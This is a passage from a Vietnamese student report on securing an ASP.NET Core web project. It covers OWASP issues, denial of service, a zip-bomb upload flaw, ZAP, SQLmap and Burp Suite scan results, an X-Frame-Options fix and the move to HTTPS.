module của chương trình sử dụng có chứa các lỗ hổng đã biết trước có thể giảm độ
bảo mật của chương trình, làm cho người tấn công có thể dễ dàng đánh cấp dữ liệu
hay tệ hơn là tiếp quản chương trình.

 Giải pháp: Xóa các thành phần không được sử dụng, không cần thiết cho chương
trình. Chỉ sử dụng các thành phần từ những nguồn chính thức từ các liên kết an
toàn. Theo dõi các nguồn về các lỗ hổng bảo mật như CVE và NVD. Sử dụng các
công cụ tự động hóa để kiểm tra độ bảo mật của chương trình.

 Project: Project của nhóm chúng em sử dụng frameword là asp.net core 2.1 được
phát triển bởi Microsoft nên hoàn toàn đáng tin cậy. Và nhóm chúng em đã sử
dụng SQLmap và ZAP để quét độ bảo mật của web trong đó SQLmap không tìm
thấy và ZAP đã phát hiện ra một số lỗi (Trình bày phía dưới).

86
5.10 Insufficent Logging &Monitoring

 Ghi nhật ký và giám sát không đầy đủ, cùng với việc tích hợp thiếu hoặc không
hiệu quả với phản ứng sự cố, cho phép kẻ tấn công tiếp tục tấn công các hệ thống,
duy trì sự bền bỉ, xoay vòng đến nhiều hệ thống hơn và giả mạo, trích xuất hoặc
phá hủy dữ liệu.

 Vấn đề:

 Các sự kiện có thể kiểm tra được, chẳng hạn như đăng nhập, đăng nhập thất
bại và giao dịch có giá trị cao không được ghi lại.

 Cảnh báo và lỗi tạo ra các thông điệp nhật ký không đầy đủ hoặc không rõ
ràng.

 Nhật ký của các ứng dụng và API không được theo dõi cho hoạt động đáng
ngờ.

 Nhật ký chỉ được lưu trữ cục bộ.

 Ngưỡng cảnh báo phù hợp và quá trình leo thang phản ứng không đúng chỗ
hoặc không hiệu quả.

 Kiểm tra thâm nhập và quét bằng các công cụ DAST (như OWASP ZAP)
không kích hoạt cảnh báo.

87
 Cách khắc phục:

 Đảm bảo tất cả các lỗi đăng nhập, kiểm soát truy cập và các lỗi xác thực đầu
vào phía máy chủ có thể được ghi lại với bối cảnh người dùng đủ để xác
định các tài khoản đáng ngờ hoặc độc hại và giữ đủ thời gian để cho phép
phân tích pháp y bị trì hoãn.
 Đảm bảo rằng các bản ghi được tạo ở định dạng có thể dễ dàng sử dụng bởi
các giải pháp quản lý nhật ký tập trung.
 Đảm bảo các giao dịch có giá trị cao có một bản kiểm toán với các kiểm soát
toàn vẹn để ngăn chặn giả mạo hoặc xóa, chẳng hạn như các bảng cơ sở dữ
liệu chỉ nối thêm hoặc tương tự.
 Thiết lập giám sát và cảnh báo hiệu quả sao cho các hoạt động đáng ngờ
được phát hiện và phản hồi kịp thời.

 Project: Nhóm chúng em không tìm ra được lỗ hổng Insufficent Logging


&&Monitoring. Việc thực hiện đăng nhập đều ghi lại, các vấn đề đầu vào được
kiểm tra đúng cách

5.11. Denial of service


 Denial of service là dạng tấn công gây tê liê ̣t hê ̣ thống bằng cách gâ ̣y gây cạn kiệt
tài nguyên hệ thống máy chủ và làm ngập lưu lượng băng thông internet, khiến
truy cập của người dùng tới máy chủ bị ngắt quãng, chập chờn.
 Denial of service: chia làm 2 loại chính:
o Flooding attack: là khi kẻ tấn công gửi lớn các tâ ̣p tin đến máy chủ để gây
tràn bô ̣ nhớ RAM, bô ̣ nhớ trong,… Điều này gây sự gián đoạn cho người sử
dụng trang web.
o Logical attack: kẻ tấn công sẽ lợi dụng lỗ hổng giao thức và lỗ hổng trên ứng
dụng máy nạn nhân thực hiện tấn công làm tràn không gian bảng kết nối
khiến người dùng hợp lệ không thể truy cập hợp lệ. ví dụ kẻ tấn công gửi
lượng lớn các gói SYN tạo bởi giao thức SYN-TCP
 Khắc phục:
o Sử dụng tường lửa hoặc proxy để nhận dạng và giới hạn các gói tin không
hợp lệ
o Lọc gói tin giả mạo tại Router/Swith/Gateway/Modern.

88
5.10.1 ZipBomb
 Vấn đề: Khi lâ ̣p trình viên không kiểm tra kích thước file cũng như định dạng file
được tải lên dẫn đến kẻ tấn công có thể tâ ̣n dụng lỗ hổng để khai thác.
 Project: qua quá trình kiểm thử thì project của chúng em bị lỗi này, nếu upload file
hình bên với dung lượng không quá 2MB nhưng file bên trong là dữ liệu cực lớn
thì dẫn đến hệ thống vận hành sai.
 Khắc phục: Kiểm tra kích thước file được tải lên ở phần controller sau đó kiểm tra
định dạng ở phần Controller. Nếu không thì hiển thị thông báo và ngưng sử lý yêu
cầu
 Mã code phía client: view Create.cshtml và Edit.cshtml của Controller shoe

 Mã code phía Controller ShoesController:

89
90
5.11: Các lỗi khi sử dụng ZAP

Khi sử dụng ZAP hệ thống quét được 4 lỗi, trong đó có 2 lỗi là SQL Injection là quan
trọng nhất.

5.11.1 X-Frame-Option
 X-Frame-Option được sử dụng để thông báo cho trình duyệt có cho phép website
của bạn được nhúng vào bên trong các thẻ frame hay iframe hay không
 X-Frame-Option có 3 dạng: DENY, SAMEORIGIN, ALLOW-FROM
https://example.com.
 Vấn đề: Khi thực hiện một cú click, người dùng nghĩ là mình nhấn chuột lên một
đối tượng đang hiển thị trên màn hình, nhưng thực ra lại đang truy cập vào một
trang web hoàn toàn khác. Điều đó xảy ra là do một số tính chất của ngôn ngữ
HTML đã bị lợi dụng, như: Một trang web có thể chứa một trang web khác bằng
cách sử dụng thẻ iframe. Các phần tử của trang web (HTML element) có thể tồn tại
ở dạng hiện rõ, bị làm mờ, hoặc bị ẩn hoàn toàn; Nếu các HTML element chồng
lên nhau thì thứ tự chồng chất được quyết định bởi một tham số đặc biệt, gọi là z-
index(css). Như vậy một phần tử HTML có thể được chồng lên tất cả các phần tử
khác nhưng lại tồn tại ở dạng ẩn và nó có thể là một trang web giả mạo được tải về
nhờ thẻ iframe.

91
 Project: trong project qua quá trình quét bằng ZAP xuất hiện lỗi này
 Các khắc phục: chỉnh sửa lại các thẻ iframe/frame từ chính server của ứng dụng
mới được hiển thị lên, còn lại, không chấp nhận. tuy nhiên trong bài này vì một số
lý do em sẽ cấu hình không cho phép thẻ iframe/frame được hiển thị trên trang
web.
 Code cấu hình thêm trong file Startup.cs
app.Use(async (context, next) =>
{
context.Response.Headers.Add("X-Frame-Options", "DENY");
await next();
});

5.11.2. Absence of Anti-CSRF Tokens

 Giả mạo yêu cầu trên nhiều trang web là một cuộc tấn công liên quan đến việc giả
mạo nạn nhân gửi yêu cầu HTTP đến server mà không có kiến thức hoặc ý định
của họ để thực hiện hành động với tư cách là nạn nhân.
 Project: trong project qua quá trình quét bằng ZAP xuất hiện lỗi này
 Các khắc phục: thêm thuộc tính antiforgery cho các form này

92
5.12 Các lỗi khi sử dụng SQL MAP
Thử lần 1: level 3 risk 1

Thử lần 2: level 3 risk2

Thử lần 3: level 3 risk 3

Thử lần 4 với tamper:

Thử lần 5: level 5, risk 3

Kết luận Sqlmap không quét ra lỗi nào

5.13. Burp Suite

Burp Suite là một công cụ pentest ứng dụng web. Đây không phải là một công cụ “ăn
sẵn” như Acunetix, mà nó chỉ hỗ trợ một số việc cho tester trong quá trình pentest. Bất kỳ
ai cũng có thể sử dụng Burp Suite để kiểm thử các ứng dụng web.
Nhóm chúng em đã sử dụng tool Brup suite để quét trang web của mình và kết quả không
tìm thấy lỗ hổng bảo mật, chỉ có cảnh báo thấp

93
6. Thêm tính năng bảo mật cho trang WEB
 Trong project này để nâng tính năng bảo mật, nhóm đã nâng cấp giao thức của
trang web từ HTTP lên HTTPS
 HTTPS là giao thức truyền tải siêu văn bản an toàn. Đây thực chất là giao thức
HTTP nhưng được bổ xung SSL (chứng chỉ an toàn) nhằm mã hóa thông tin nên
HTTPS bảo mâ ̣t hơn HTTP. Có thể hiểu, HTTPS là phiên bản HTTP an toàn, bảo
mật hơn.
 Sự khác nhau giữa HTTP và HTTPS:
o Chứng chỉ SSL HTTPS là một giao thức HTTP với bảo mật bổ sung. Dù bạn
sử dụng máy tính cá nhân hay công cộng, các tiêu chuẩn SSL sẽ luôn đảm
bảo liên lạc giữa máy khách và máy chủ được an toàn, chống bị dòm ngó.
o Port trên HTTP và HTTPS Giao thức HTTP sử dụng Port 80, trong khi đó
HTTPS sử dụng Port 443. Port 443 chính là port hỗ trợ mã hóa kết nối từ
máy tính client đến server
 Cơ chế: Khi máy khách truy cập một website, giao thức HTTPS sẽ hỗ trợ xác thực
tính đích danh của website đó thông qua việc kiểm tra xác thực bảo mật (Security
Certificate) được cấp bởi Certificate Authority (CA). CA là những tổ chức phát
hành các chứng thực các loại chứng thư số cho người dùng, doanh nghiệp, máy

94
chủ, mã nguồn, phần mềm. Các tổ chức này đóng vai trò là bên thứ ba, được cả hai
bên tin tưởng để hỗ trợ quá trình trao đổi thông tin an toàn.
 Nâng cấp lên HTTPS: cấu hình server và deploy
Khi chạy trang web trên localhost với IIS Express port 44362 thì trang web đã
chạy HTTPS và do nhóm deploy lên azure là được hỗ trợ HTTPS
 Kết quả khi nâng từ HTTP lên HTTPS:

7. Tài liệu tham khảo


o Cơ chế của HTTPS: https://cystack.net/vi/resource/http-va-https-la-gi/
o WebGoat
o https://owasp.org/www-project-top-ten/OWASP_Top_Ten_2017/
o https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat
_Sheet
o https://securitydaily.net/ky-thuat-khai-thac-xss-phan-1-reflected-xss/
o https://securitydaily.net/cac-kieu-khai-thac-xss-phan-2-stored-xss/

95

You might also like